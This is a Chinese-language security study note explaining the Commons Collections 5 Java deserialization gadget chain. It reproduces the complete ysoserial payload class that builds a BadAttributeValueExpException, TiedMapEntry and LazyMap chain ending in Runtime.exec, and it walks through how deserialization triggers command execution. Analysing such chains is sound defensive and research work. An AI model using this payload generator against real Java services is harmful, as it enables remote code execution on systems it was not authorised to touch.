前言

1. 8u76之后添加了 javax.management.BadAttributeValueExpException  的readObject方法

2. SecurityManager需要是关闭的

public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {

	public BadAttributeValueExpException getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
		        new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();
//首先将LazyMap实例和foo字符串传入TiedMapEntry构造函数构建实例
//然后把这个实例通过反射赋值给BadAttributeValueExpException实例的val属性，
//最后返回BadAttributeValueExpException实例用于序列化。
		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
		Field valfield = val.getClass().getDeclaredField("val");
    Reflections.setAccessible(valfield);
//设置BadAttributeValueExpException实例的val属性为TiedMapEntry实例
		valfield.set(val, entry);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return val;
	}

	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsCollections5.class, args);
	}

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isBadAttrValExcReadObj();
    }

}

TiedMapEntry

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);
    }

    public Object setValue(Object value) {
        if (value == this) {
            throw new IllegalArgumentException("Cannot set value to this map entry");
        } else {
            return this.map.put(this.key, value);
        }
    }

    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        } else if (!(obj instanceof Entry)) {
            return false;
        } else {
            Entry other = (Entry)obj;
            Object value = this.getValue();
            return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
        }
    }

    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }
}

1. 该类有继承可以被序列化标志的Serializable接口，或者其父类有继承Serializable

2. 该类的readObject方法中有调用可控变量的toString、equel、hashCode、getValue

• 调用toString的BadAttributeValueExpException 对应CC5

• 调用hashcode的HashMap，对应CC6

BadAttributeValueExpException

public class BadAttributeValueExpException extends Exception   {


    /* Serial version */
    private static final long serialVersionUID = -3105272988410493376L;

    /**
     * @serial A string representation of the attribute that originated this exception.
     * for example, the string value can be the return of {@code attribute.toString()}
     */
    private Object val;

    /**
     * Constructs a BadAttributeValueExpException using the specified Object to
     * create the toString() value.
     *
     * @param val the inappropriate value.
     */
    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }


    /**
     * Returns the string representing the object.
     */
    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

调用链如下

Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

反序列化过程

从这里开始就跟CC1一样了，这里会去调用this.factory的transform，也就是ChainedTransformer的transform接着就是遍历调用数组里面的transform方法。第一个值为ConstantTransformer，会直接返回传参的值。这里返回的是Runtime，将该值传入第二次的参数里面调用transform方法

第二次遍历的值是InvokerTransformer对象， 这里的transform方法会反射去获取方法并且进行执行。第二次执行返回的是Runtime.getRuntime的实例化对象。再传入到第三次执行的参数里面去执行

第三次去执行则是获取返回他的invoke方法,传入给第四次执行的参数里面

第四次执行里面的this.iMethodName为execthis.iArgs为calc。执行完成这一步过后就会去执行我们设置好的命令，也就是calc弹出计算器

调用链与流程图

BadAttributeValueExpException.readObject() 
-> TiedMapEntry.toString() 
-> TiedMapEntry.getValue() 
-> LazyMap.get(not_exist_key) 
-> ChainedTransformer.transform() 
-> RCE